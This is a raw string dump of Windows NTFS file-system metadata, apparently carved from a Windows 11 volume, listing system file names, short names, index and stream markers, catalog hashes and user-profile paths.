10787491199294779225_trigger.dat ETWRTU~1.ETL EtwRTUBPM.etl 8AE9F0~1.TBR 8ae9f0c30ea1668425d0f7d6255d597ead710776.tbres DASHBO~1.JSO dashboard4[1].json VerifierExt.sys.mui0 VERIFI~1.MUI VerifierExt.sys.mui $DSC verifiergui.exe.mui0 VERIFI~1.MUI verifiergui.exe.mui WofCompressedData $DSC vhdmp.sys.mui VHDMPS~1.MUI vhdmp.sys.mui WofCompressedData $DSC VMBUSS~1.MUI vmbus.sys.mui $DSC w32time.dll.mui0 W32TIM~1.MUI w32time.dll.mui WofCompressedData $DSC wacompen.sys.mui WACOMP~1.MUI wacompen.sys.mui WofCompressedData $DSC wbadmin.exe.mui0 WBADMI~1.MUI wbadmin.exe.mui WofCompressedData $DSC WBADMI~1.MUI wbadmin.exe.mui $DSC werui.dll.mui WERUID~1.MUI werui.dll.mui WofCompressedData $DSC wevtapi.dll.mui0 WEVTAP~1.MUI wevtapi.dll.mui $DSC wevtsvc.dll.mui0 WEVTSV~1.MUI wevtsvc.dll.mui WofCompressedData $DSC WEVTSV~1.MUI wevtsvc.dll.mui 1000 $DSC WINDOW~1.MUI windows.storage.dll.mui $DSC windows.storage.dll.mui0 WINDOW~1.MUI windows.storage.dll.mui WofCompressedData $DSC WINDOW~1.MUI Windows.UI.CredDialogController.dll.mui $DSC 'Windows.UI.CredDialogController.dll.mui0 WINDOW~1.MUI Windows.UI.CredDialogController.dll.mui WofCompressedData $DSC WinMgmtR.dll.mui WINMGM~1.MUI WinMgmtR.dll.mui WofCompressedData $DSC winmm.dll.mui WINMMD~1.MUI winmm.dll.mui WofCompressedData $DSC winmmbase.dll.mui WINMMB~1.MUI winmmbase.dll.mui WofCompressedData $DSC WINNLS~1.MUI winnlsres.dll.mui $DSC WINNLS~1.MUI winnlsres.dll.mui winnlsres.dll.mui WofCompressedData $DSC WINSCA~1.MUI WinSCard.dll.mui WinSCard.dll.mui $DSC winspool.drv.mui WINSPO~1.MUI winspool.drv.mui WofCompressedData $DSC WofCompressedData $DSC winsrv.dll.mui WofCompressedData $DSC wkssvc.dll.mui WKSSVC~1.MUI wkssvc.dll.mui WofCompressedData $DSC WLANUT~1.MUI wlanutil.dll.mui wlanutil.dll.mui wlanutil.dll.mui wlanutil.dll.mui $DSC WofCompressedData $DSC WLDAP3~1.MUI wldap32.dll.mui ompressedData $DSC wldp.dll.mui wldp.dll.mui WLDPDL~1.MUI WofCompressedData $DSC WMIsvc.dll.mui WMISVC~1.MUI WMIsvc.dll.mui $DSC WofCompressedData $DSC wmitomi.dll.mui WofCompressedData $DSC WofCompressedData $DSC WMIUTI~1.MUI wmiutils.dll.mui WofCompressedData $DSC wof.sys.mui0 wof.sys.mui0 WOFSYS~1.MUI WofCompressedData $DSC EEAC8F~1.DAT eeac8ff4-d397-4fc0-ab67-5865cb8e09b2.dat 3810EC~1.DAT 3810ecda-3ff5-4c9b-b100-fbdc4daf00ec.dat sechost.dll0 sechost.dll WofCompressedData $DSC $DSC sechost.dll WofCompressedData $DSC SECURI~1.DLL SecurityCenterBrokerPS.dll WofCompressedData $DSC SECURI~1.DLL SecurityHealthAgent.dll0 SecurityHealthAgent.dll WofCompressedData $DSC $DSC SECURI~1.DLL SecurityHealthAgent.dll WofCompressedData $DSC PhonePlatformAbstraction.dll PhonePlatformAbstraction.dll WofCompressedData $DSC SECURI~2.DLL SecurityHealthCore.dll WofCompressedData $DSC SECURI~2.DLL SecurityHealthCore.dll SecurityHealthCore.dll WofCompressedData $DSC $DSC SECURI~3.DLL SecurityHealthProxyStub.dll $DSC WofCompressedData $DSC SECURI~3.DLL SECURI~1.DLL SecurityHealthSSO.dll SecurityHealthSSO.dll WofCompressedData $DSC $DSC PhonePlatformAbstraction.dll PhonePlatformAbstraction.dll WofCompressedData $DSC SECURI~1.DLL SecurityHealthSSO.dll $DSC $DSC WofCompressedData $DSC SECURI~2.DLL SECURI~2.DLL SecurityHealthSsoUdk.dll $DSC $DSC SECURI~4.DLL SecurityHealthUdk.dll SecurityHealthUdk.dll WofCompressedData $DSC $DSC SECURI~4.DLL SecurityHealthUdk.dll $DSC $DSC SEMANT~1.DLL SemanticSearch.CBS.dll SemanticSearch.CBS.dll WofCompressedData $DSC SERVIC~1.DLL ServiceModelInstallRC.dll $DSC SERVIC~1.DLL ServiceModelInstallRC.dll WofCompressedData $DSC WofCompressedData $DSC SERVIC~1.DLL $DSC WofCompressedData $DSC SERVIC~1.DLL $DSC SETNET~1.DLL SetNetworkLocation.dll SetNetworkLocation.dll WofCompressedData $DSC INETHI~1 INetHistory $I300 SETTIN~1.DLL SettingsConfigTask.dll SettingsConfigTask.dll WofCompressedData $DSC $DSC SETTIN~1.DLL SettingsContent.dll0 SettingsContent.dll WofCompressedData $DSC $DSC WofCompressedData $DSC PWindowsSearchEngineSKU-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat PWindowsSearchEngineSKU-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 3DA6EB~1.CAT 3da6ebba2cd6c15f0f6d1fa3987d37d6702712f3743aba345fbde8198e17a1b9.cat WofCompressedData $DSC WofCompressedData $DSC OMicrosoft-Windows-EventLog-Adm-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat0 OMicrosoft-Windows-EventLog-Adm-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 3DBBC4~1.CAT 3dbbc4523984132d4610322b652456224e37be13526d5c981b699fc2ab0b4d19.cat WofCompressedData $DSC ]Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat ]Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat 3E1C0E~1.CAT 3e1c0ed651f84092742bede59ada2da0893a59cd2c907f81b1a909aab8056a4b.cat WofCompressedData $DSC UMicrosoft-Windows-Browser-Brokers-Package~31bf3856ad364e35~amd64~~11.0.26100.7705.cat UMicrosoft-Windows-Browser-Brokers-Package~31bf3856ad364e35~amd64~~11.0.26100.7705.cat $DSC 3E240D~1.CAT 3e240dda17258d1d092eda39c9ae98823110086a7ecfc8b9ad7c4674422f065f.cat WofCompressedData $DSC [HyperV-Vpci-VirtualDevice-Gpup-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 [HyperV-Vpci-VirtualDevice-Gpup-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 3E3168~1.CAT 3e31689842abe35580c1ca76bd8d1076116226ed22b6c0635bae892f9aea96ff.cat WofCompressedData $DSC qMicrosoft-Windows-ApiSetSchemaExtension-HyperV-ComputeStorage-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat qMicrosoft-Windows-ApiSetSchemaExtension-HyperV-ComputeStorage-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 3E3408~1.CAT 3e3408e2404f9ee2a2f253cc706f7f1892e2d65553f2e91ff923df8b523c9dc0.cat WofCompressedData $DSC 44C410~1.CAT 44c41051fe14af7be722ec67f6af7a9ca83dad6626c06251ee01a82f571105bb.cat WofCompressedData $DSC CODEIN~1.CAT CodeIntegrity.cat WofCompressedData $DSC 44C5F6~1.CAT 44c5f68d14e29b87733d13828f7df467c2d7e59dc89f4f73b00713c5c944c0d1.cat WofCompressedData $DSC S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep 45E94A~1.CAT 45e94a574b683805cbd179c6b1c3ebada24436e12010ab9aa289edf66d3231a3.cat WofCompressedData $DSC CODEIN~1.CAT CodeIntegrity.cat WofCompressedData 461D17~1.CAT 461d1781b64d48d5e1230e76d1fefa685c3a296392a8ba719b1e635bbb5a1042.cat WofCompressedData $DSC CODEIN~1.CAT CodeIntegrity.cat WofCompressedData Temp $I300 pool_tags_summary.json $I30 $I30 MsEdgeCrashpad MSEDGE~1 pool_tags_summary.json POOL_T~1.JSO tracing $I300 twain_32 $I300 wiatwain.ds $I300 amd64 Packages uusp.json ThemeC $I300 Desktop.ini img28.jpg img29.jpg img30.jpg img31.jpg ThemeD $I300 Desktop.ini img32.jpg img33.jpg img34.jpg img35.jpg Windows $I300 img0.jpg img19.jpg $I30 $I30 $I30 $DSC $TXF_DATA WinSxS $I300 $TXF_DATA $I30 $DSC APPXME~1 AppxMetadata $I300 AppxBundleManifest.xml APPXBU~1.XML SYSTEM~1.AUX System.DirectoryServices.ni.dll.aux $SDS $SII SYSTEM~1.DLL System.Management.ni.dll WofCompressedData C4D05E~1 c4d05e9706fa0a7d465e11195812c7b4 $I300 $I30 $I30 System.Runtime.Serialization.ni.dll.aux.tmp SYSTEM~1.DLL SYSTEM~1.AUX System.Runtime.Serialization.ni.dll.aux RU80B5~1.PF0 RUNTIMEBROKER.EXE-72A72F3A.pf 9F1E80~1 9f1e800c7deb32d7975701ce4227e472 $I300 $I30 $I30 ml.ni.dll System.Runtime.WindowsRuntime.UI.Xaml.ni.dll.aux.tmp SYSTEM~1.DLL APPXME~1 AppxMetadata $I300 AppxBundleManifest.xml APPXBU~1.XML BDB1DB~1.DAT bdb1dbbc8d58d1af.dat BDB1DB~2.DAT bdb1dbbc8d58d1af_COM15.dat {AFBF9~1.DB0 {AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db BDB1DB~1.LOG bdb1dbbc8d58d1af_COM15.dat.LOG1 BDB1DB~2.LOG bdb1dbbc8d58d1af_COM15.dat.LOG2 f_000027 000028.log LOG.old FEED_S~1.JSO feed_settings.json PREFER~1 Preferences WAASAS~1.JSO WaaSAssessmentSettings.json CURRENT 000023~1.DBT STATER~2.SRD StateRepository-Machine.srd-wal STEA79~1.SRD StateRepository-Machine.srd-shm 312374~1.XML 31237475_2235709485.back.xml WINDOW~2.ETL WindowsUpdate.20260224.085927.097.1.etl 000027.log MANIFE~2 MANIFEST-000025 SCTAUD~1 SCT Auditing Pending Reports 000011.ldb E256CA~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959 http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA0HeCoTP8b5pXKW4TH%2F0Xk%3D CURRENT 000025~1.DBT 000012.log E256CA~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959 PowerShellGet $I300 1.0.0.1 100~1.1 1.0.0.1 $I300 en-US PowerShellGet.psd1 PSGet.Format.ps1xml PSGet.Resource.psd1 PSModule.psm1 PSMODU~1.PSM en-US $I300 PSGet.Resource.psd1 PSGETR~1.PSD PROGRA~3 ProgramData $I300 $I30 $I30 $TXF_DATA regid.1991-06.com.microsoft SoftwareDistribution MICROS~1 Microsoft $I300 $I30 $I30 $TXF_DATA Device Stage DeviceSync Diagnosis AppV $I300 Setup Setup $I300 OfficeIntegrator.ps1 Crypto $I300 Keys PCPKSP SystemKeys SYSTEM~1 DeviceSync $I300 DeviceSync $I300 Diagnosis $I300 FeedbackArchive $I30 $I30 DOWNLO~1 DOWNLO~2 ETLLogs Siufloc Siufloc $I300 $I300 Server Windows $I300 $I30 $I30 CapabilityAccessManager ClipSVC DeviceMetadataStore GameExplorer LfSvcX~ AppRepository $I300 $I30 $I30 $I30 $I30 $I30 STATER~1.SRD Families $I300 Packages $I300 Microsoft.PowerAutomateDesktop_1.0.1420.0_x64__8wekyb3d8bbweb3d $I30 $I30 $I30 $I30 STARTM~1 Start Menu $I300 desktop.ini Programs Programs $I300 $I30 $I30 Accessories Administrative Tools Maintenance Startup System Tools Accessibility $I300 Desktop.ini Accessories $I300 desktop.ini Remote Desktop Connection.lnk Steps Recorder.lnk System Tools Windows Media Player Legacy.lnk System Tools $I300 Character Map.lnk desktop.ini Administrative Tools $I300 $I30 $I30 Computer Management.lnk dfrgui.lnkg Memory Diagnostics Tool.lnk Registry Editor.lnk Maintenance $I300 Desktop.ini Startup $I300 desktop.ini Temp $I300 OfflineCompiler OFFLIN~1 OFFLIN~1 OfflineCompiler $I300 WSXPacks $I300 WSXPayload.json WSXPAY~1.JSO.TM WINDOW~1 Windows Defender $I300 $I30 $I30 $TXF_DATA Features LocalCopy LOCALC~1 Network Inspection System $I300 Support Support $I300 Platform $I300 4.18.26010.5-0 418260~1.5-0 Quarantine $I300 Quarantine $I300 Trace $I300 Windows Security Health $I300 Health Advisor LogsTH~ Health Advisor $I300 lth Advisor $I300 Logs $I300 $I30 $I30 md64fre.ge_release.240331-1435.etl SHS-02212026-121624-7-1ff-26100.1.amd64fre.ge_release.240331-1435.etl SHS-02~1.ETL SHS-02~2.ETL Users $I300 $I30 $I30 $TXF_DATA Default Default User desktop.ini Public Default $I300 NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms $I30 $I30 Downloads DOWNLO~1 AppData $I300 Local Roaming Local $I300 $I30 $I30 APPLIC~1t History Microsoft MICROS~1 Temp Temp $I300 Roaming $I300 Microsoft MICROS~1 MICROS~1 Microsoft $I300 Internet Explorer INTERN~1 Spelling Windows INTERN~1 Internet Explorer $I300 Quick Launch QUICKL~1 $AttrDef $BadClus $Bitmap $Boot $Extend $LogFile $MFT $MFTMirr $Recycle.BinP $Secure $UpCase $Volume Documents and Settings DOCUME~1k.l DumpStack.log.tmp DUMPST~1.TMPZ inetpub pagefile.sys PerfLogsold Program Files Program Files (x86) ProgramData PROGRA~1old PROGRA~2old PROGRA~3old Recovery.sy swapfile.syse I System Volume Information SYSTEM~1.sy Usersws Windows Windows Windows.old Windows.old APPXSI~1.P7X AppxSignature.p7x 88000163 $I300 $I30 $I30 89a5d80ebe624ad8adea344b0b19bb87_1.~tmp 89A5D8~1 89A5D8~1.~TM 782A4A~1 782a4ab843ce42e3ae55a5799d0f0cc1_1 RESOUR~1.PRI resources.pri 775BD8~1 775bd83bf93443bdbdb7251e70d1a8d3_1 89A5D8~1 89a5d80ebe624ad8adea344b0b19bb87_1 ACTIVA~1.LOG ActivationStore.dat.LOG1 DEB98C~1.XML DesktopTargetCompDB_coren_sl-si.xml MICROS~2.MUI Microsoft.UI.Xaml.Phone.dll.mui WofCompressedData da-DK $I300 Microsoft.ui.xaml.dll.mui Microsoft.UI.Xaml.Phone.dll.mui MICROS~1.MUI MICROS~2.MUI SETUPA~1.LOG setupapi.offline.log $UsnJrnl $Max $Max $Max $Max $Max $Max bootstat.dat MICROS~1.MUI Microsoft.ui.xaml.dll.mui WofCompressedData MICROS~2.MUI Microsoft.UI.Xaml.Phone.dll.mui WofCompressedData dcompi.dll WofCompressedData ConstraintIndex.Search.dll ConstraintIndex.Search.dll WofCompressedData $DSC containerdevicemanagement.dll containerdevicemanagement.dll WofCompressedData $DSC ContentDeliveryManager.Background.dll %ContentDeliveryManager.Background.dll WofCompressedData $DSC ContentDeliveryManager.Utilities.dll $ContentDeliveryManager.Utilities.dll WofCompressedData $DSC DWrite.dll WofCompressedData $DSC DWrite.dll DWrite.dll WofCompressedData $DSC DWRITE~1.DLL DWriteCore.dll DWriteCore.dll WofCompressedData $DSC SYSTEM~1.AUX System.Xaml.ni.dll.aux DXCOMP~1.DLL dxcompiler.dll WofCompressedData $DSC dxcompiler.dll DXCOMP~1.DLL dxcompiler.dll WofCompressedData $DSC DXCore.dll $DSC $DSC DXCore.dll DXCore.dll WofCompressedData $DSC dxgi.dll dxgi.dll WofCompressedData $DSC dxgi.dll WofCompressedData $DSC _PLATF~1 _platform_specific $I300 win_x64 dxil.dll WofCompressedData $DSC Info rmatio Syste m Volu <000019.dbtmp <000019.dbtmp <000019.dbtmp $4\??\C:\Users\Default\Documents C:\Users\Default\Documents MACHIN~1.PCK machine.pckgdep NetHood $I300 \??\C:\Users\Default\AppData\Roaming\Microsoft\Windows\Network Shortcuts C:\Users\Default\AppData\Roaming\Microsoft\Windows\Network Shortcuts MACHIN~1.PCK machine.pckgdep PRINTH~1 PrintHood $I300 \??\C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts MACHIN~1.PCK machine.pckgdep Recent $I300 z|r\??\C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent MACHIN~1.PCK machine.pckgdep SendTo $I300 z|r\??\C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo MACHIN~1.PCK machine.pckgdep MICROS~1.EXE MicrosoftWindows.DesktopStickerEditorCentennial.exe $DSC ACTION~1.EXE ActionsMcpHost.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe $DSC ACTION~1.EXE ActionsMcpHost.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AppActions.exe $DSC MACHIN~1.PCK machine.pckgdep TEMPLA~1 Templates $I300 x\??\C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates MACHIN~1.PCK machine.pckgdep LOCALS~1 Local Settings $I300 DF<\??\C:\Users\Default\AppData\Local C:\Users\Default\AppData\Local MACHIN~1.PCK machine.pckgdep APPLIC~1 Application Data $I300 DF<\??\C:\Users\Default\AppData\Local C:\Users\Default\AppData\Local MACHIN~1.PCK machine.pckgdep Cookies $I300 x\??\C:\Users\Default\AppData\Local\Microsoft\Windows\INetCookies C:\Users\Default\AppData\Local\Microsoft\Windows\INetCookies MACHIN~1.PCK machine.pckgdep History $I300 xzp\??\C:\Users\Default\AppData\Local\Microsoft\Windows\History C:\Users\Default\AppData\Local\Microsoft\Windows\History MACHIN~1.PCK machine.pckgdep TEMPOR~1 Temporary Internet Files $I300 |~t\??\C:\Users\Default\AppData\Local\Microsoft\Windows\INetCache C:\Users\Default\AppData\Local\Microsoft\Windows\INetCache MACHIN~1.PCK machine.pckgdep TEMPOR~1 Temporary Internet Files $I300 |~t\??\C:\Users\Default\AppData\Local\Microsoft\Windows\INetCache C:\Users\Default\AppData\Local\Microsoft\Windows\INetCache MACHIN~1.PCK machine.pckgdep DOCUME~1 Documents and Settings $I300 \??\C:\Users C:\Users MACHIN~1.PCK machine.pckgdep S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep MI64C2~1.XML Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe.xml P-ARIA $I300 EventStore.db EventStore.db-shm EventStore.db-wal EVENTS~1.DB EVENTS~1.DB-.DB EVENTS~2.DB- EVENTS~1.DB0 EventStore.db JSBYTE~1 JSByteCodeCache_64 ncryptprov.dll WofCompressedData $DSC 5E3741~1 5E37410B-D6F1-471D-AE27-563CEAC0D6B2 ACTIVA~1.DAT ActivationStore.dat RESOUR~1.PRI resources.pri resources.pri WofCompressedData $DSC RESOUR~1.PRI resources.pri $DSC RESOUR~1.PRI resources.pri WofCompressedData resources.pri resources.pri RESOUR~1.PRI resources.pri $DSC resources.pri RESOUR~1.PRI resources.pri WofCompressedData $DSC resources.pri RESOUR~1.PRI resources.pri WofCompressedData $DSC RESOUR~1.PRI resources.pri WofCompressedData resources.pri RESOUR~1.PRI resources.pri resources.pri WofCompressedData $DSC OCSI~1.DB- OCSI.db-wal RESOUR~1.PRI resources.pri WofCompressedData RESOUR~1.PRI resources.pri resources.pri WofCompressedData $DSC RESOUR~1.PRI resources.pri RESOUR~1.PRI resources.pri WofCompressedData OCSI~2.DB- OCSI.db-shm RESOUR~1.PRI resources.pri WofCompressedData RESOUR~1.PRI resources.pri RESOUR~1.PRI resources.pri WofCompressedData RESOUR~1.PRI resources.pri $DSC RESOUR~1.PRI resources.pri resources.pri $DSC WofCompressedData resources.pri ources.pri resources.pri ources.pri resources.pri RESOUR~1.PRI resources.pri E8DDD4~1.TBR e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres RUE775~1.PF0 RUNTIMEBROKER.EXE-A9F931C4.pf CO6087~1.BAC confCons.xml.20260224-0904368245.backup microsoft-windows-mptf-events.dll !microsoft-windows-mptf-events.dll WofCompressedData $DSC microsoft-windows-power-cad-events.dll µsoft-windows-power-cad-events.dll WofCompressedData $DSC microsoft-windows-processor-aggregator-events.dll 1microsoft-windows-processor-aggregator-events.dll WofCompressedData $DSC Microsoft-WindowsPhone-SEManagementProvider.dll0 /Microsoft-WindowsPhone-SEManagementProvider.dll WofCompressedData $DSC MPAZSU~1.DLL MpAzSubmit.dll MpAzSubmit.dll WofCompressedData $DSC MpClient.dll MpClient.dll WofCompressedData $DSC $DSC MpClient.dll WofCompressedData $DSC MpClient.dll WofCompressedData $DSC mprapi.dll $DSC $DSC mprddm.dll mprddm.dll WofCompressedData $DSC mprddm.dll WofCompressedData $DSC MICROS~1.DLL Microsoft.CognitiveServices.Speech.core.dll WofCompressedData $DSC ucx86.tlb WofCompressedData zlib1.dll WofCompressedData WIDEVI~1 WidevineCdm $I300 manifest.json _platform_specific _PLATF~1 IRISCL~1.JSO IrisClient.json MICROS~2.PF0 MICROSOFTEDGE_X64_145.0.3800.-DDC003D5.pf SETUPE~2.PF0 SETUP.EXE-6501D474.pf MICROS~1.JSO MicrosoftStore.json SCHEMA~1.BLF SCHEMA.DAT{2ad838c8-efea-11ee-a54d-000d3a94eaa1}.TM.blf SCHEMA~1.REG SCHEMA.DAT{2ad838c8-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms SCHEMA~2.REG SCHEMA.DAT{2ad838c8-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms Local $I300 $I30 $I30 $TXF_DATA History Microsoft MICROS~1 Temp Temp $I300 DD_VCR~3.LOGd-4 tmp1545.tmp $I30 $I30 MSEDGE~1.LOG wmsetup.log MICROS~1 Microsoft $I300 $I30 $I30 $TXF_DATA WindowsApps WINDOW~1 WINDOW~2 WINDOW~1 WindowsApps $I300 MICROS~1.CBS $I30 $I30 MicrosoftWindows.Client.CBS_cw5n1h2txyewy MICROS~1.CBS WINDOW~2 Windows Sidebar $I300 Gadgets settings.ini 29d04b10d7}.tmp {2C5C9~1.TMP Gadgets $I300 Windows $I300 Shell $I30 $I30 INetCookies INETCO~1 Shell WinX WinX $I300 Group1 Group2 Group3 Group3 $I300 $I30 $I30 09-MOB~1.LNKFea 10 - AppsAndFeatures.lnk 10-APP~1.LNK desktop.ini Group2 $I300 $I30 $I30 4-CONT~1.LNK 5 - Task Manager.lnk 5-TASK~1.LNK desktop.ini 1.TMP 1.TMP Group1 $I300 1 - Desktop.lnk 1-DESK~1.LNK desktop.ini {DADF9~1.TMP Shell $I300 DefaultLayouts.xml DEFAUL~1.XML TaskBarCloudDefaultLayout.xml TASKBA~1.XML INETCO~1 INetCookies $I300 $I30 $I30 DNTEXC~1R PrivacIE INETCA~1 INetCache $I300 Content.IE5 Virtualized VIRTUA~1 History $I300 desktop.ini History.IE5 GAMEEX~1 GameExplorer $I300 CLOUDS~1 CloudStore $I300 GameDVR $I300 GameMRU KnownGameList.bin KNOWNG~1.BIN 1-DESK~1.LNK 1 - Desktop.lnk DEFAUL~1.XML DefaultLayouts.xml NTUSER~1.LOG ntuser.dat.LOG1 NTUSER~2.LOG ntuser.dat.LOG2 USRCLA~1.LOG UsrClass.dat.LOG1 USRCLA~2.LOG UsrClass.dat.LOG2 USRCLA~1.BLF UsrClass.dat{cab2c3c4-0e76-11f1-b1fc-000c29f29c8b}.TM.blf USRCLA~1.REG UsrClass.dat{cab2c3c4-0e76-11f1-b1fc-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms TEMPOR~1 Temporary Internet Files $I300 tvl\??\C:\Users\job\AppData\Local\Microsoft\Windows\INetCache C:\Users\job\AppData\Local\Microsoft\Windows\INetCache TEMPOR~1 Temporary Internet Files $I300 tvl\??\C:\Users\job\AppData\Local\Microsoft\Windows\INetCache C:\Users\job\AppData\Local\Microsoft\Windows\INetCache LocalLow $I300 Microsoft MICROS~1 ntuser.ini E3B93C~1 e3b93c05-d74b-4102-94eb-89d5439f71d9 e3b93c05-d74b-4102-94eb-89d5439f71d9 PREFER~1 Preferred 4BF4C4~1 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 $I300 Policy.vpol POLICY~1.VPO $TXF_DATA Policy.vpol0 POLICY~1.VPO Web Credentials $TXF_DATA WPNDAT~1.DB0 wpndatabase.db WPNDAT~1.DB- wpndatabase.db-wal LJOB~1.CDP L.job.cdpresource WPNDAT~2.DB- wpndatabase.db-shm Explorer $I300 iconcache_256.db TH5A2B~1.DB $I30 $I30 EXPLOR~2.ETL iconcache_idx.db EXPLOR~1.ETL ExplorerStartupLog.etl Caches $I300 $I30 $I30 CVERSI~1.DB {3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000001.db {3DA71~1.DB L.job $I300 $I30 $I30 ActivitiesCache.db-shm ActivitiesCache.db-wal ACTIVI~1.DB ACTIVI~1.DB-.DB ploptin.dll $DSC $DSC PLUTON~1.DLL plutonapi.dll plutonapi.dll WofCompressedData $DSC $DSC PLUTON~1.DLL plutonfw_AuthenticAMD.dll WofCompressedData $DSC PLUTON~1.DLL plutontasks.dll0 plutontasks.dll WofCompressedData $DSC WofCompressedData $DSC POLICY~1.DLL ompressedData $DSC WofCompressedData $DSC 1Policy.1.2.Microsoft.Interop.Security.AzRoles.dll $DSC WofCompressedData $DSC APolicy.3.0.Microsoft.BackgroundIntelligentTransfer.Management.dll $DSC POLICY~1.DLL policymanager.dll policymanager.dll WofCompressedData $DSC $DSC TRUSTP~1 Trust Protection Lists $I300 manifest.json.DATA Sigma Sigma $I300 $I30 $I30 Analytics.DATA Content.DATA Cryptomining.DATA Entities.DATA Advertising0 Advertising0 Advertising.DATA Advertising Analytics Analytics Analytics.DATA Analytics OOBE-L~1.JS0 oobe-light-frame-vm.js WofCompressedData Cryptomining Cryptomining Cryptomining.DATA Cryptomining Fingerprinting Fingerprinting Fingerprinting.DATA0 Fingerprinting $I300 $I30 $I30 Analytics.DATA CompatExceptions.DATA Content.DATA Cryptomining.DATA Advertising0 Advertising0 Advertising0 Advertising.DATA Analytics Analytics Analytics Analytics.DATA CompatExceptions CompatExceptions CompatExceptions CompatExceptions.DATA Cryptomining Cryptomining Cryptomining Cryptomining.DATA Fingerprinting Fingerprinting Fingerprinting Fingerprinting.DATA MEIPRE~1 MEIPreload $I300 manifest.json.DATA preloaded_data.pb.DATA manifest.json manifest.json manifest.json.DATA manifest.json preloaded_data.pb preloaded_data.pb.DATA preloaded_data.pb PRELOA~1.PB0 preloaded_data.pb Locales $I300 $I30 $I30 #copilot_overlay_strings_et.pak.DATA #copilot_overlay_strings_hu.pak.DATA $I30 $I30 ca-Es-VALENCIA.pak.DATA0 ca-Es-VALENCIA.pak ca-Es-VALENCIA.pak CA-ES-~1.PAK ca-Es-VALENCIA.pak !copilot_overlay_strings_bn-IN.pak &copilot_overlay_strings_bn-IN.pak.DATA !copilot_overlay_strings_bn-IN.pak *copilot_overlay_strings_ca-Es-VALENCIA.pak *copilot_overlay_strings_ca-Es-VALENCIA.pak *copilot_overlay_strings_ca-Es-VALENCIA.pak !copilot_overlay_strings_en-GB.pak &copilot_overlay_strings_en-GB.pak.DATA !copilot_overlay_strings_en-GB.pak !copilot_overlay_strings_en-US.pak &copilot_overlay_strings_en-US.pak.DATA !copilot_overlay_strings_en-US.pak "copilot_overlay_strings_es-419.pak 'copilot_overlay_strings_es-419.pak.DATA0 "copilot_overlay_strings_es-419.pak !copilot_overlay_strings_fr-CA.pak &copilot_overlay_strings_fr-CA.pak.DATA !copilot_overlay_strings_fr-CA.pak !copilot_overlay_strings_pt-BR.pak &copilot_overlay_strings_pt-BR.pak.DATA !copilot_overlay_strings_pt-BR.pak !copilot_overlay_strings_pt-PT.pak &copilot_overlay_strings_pt-PT.pak.DATA !copilot_overlay_strings_pt-PT.pak &copilot_overlay_strings_sr-Cyrl-BA.pak &copilot_overlay_strings_sr-Cyrl-BA.pak &copilot_overlay_strings_sr-Cyrl-BA.pak &copilot_overlay_strings_sr-Latn-RS.pak &copilot_overlay_strings_sr-Latn-RS.pak &copilot_overlay_strings_sr-Latn-RS.pak !copilot_overlay_strings_zh-CN.pak &copilot_overlay_strings_zh-CN.pak.DATA !copilot_overlay_strings_zh-CN.pak !copilot_overlay_strings_zh-TW.pak &copilot_overlay_strings_zh-TW.pak.DATA !copilot_overlay_strings_zh-TW.pak sr-Cyrl-BA.pak.DATA0 sr-Cyrl-BA.pak sr-Cyrl-BA.pak SR-CYR~1.PAK sr-Cyrl-BA.pak sr-Latn-RS.pak.DATA0 sr-Latn-RS.pak sr-Latn-RS.pak SR-LAT~1.PAK sr-Latn-RS.pak IDENTI~1 identity_proxy $I300 resources.pri.DATA win10 win11 resources.pri resources.pri.DATA resources.pri RESOUR~1.PRI resources.pri win11 $I300 $I30 $I30 msixbundle.DATA 7copilot.identity_helper.Sparse.Internal.msixbundle.DATA 5copilot.identity_helper.Sparse.Stable.msixbundle.DATA identity_helper.Sparse.Beta.msix identity_helper.Sparse.Beta.msix $identity_helper.Sparse.Internal.msix $identity_helper.Sparse.Internal.msix identity_helper.Sparse.Stable.msix "identity_helper.Sparse.Stable.msix EXTENS~1 Extensions 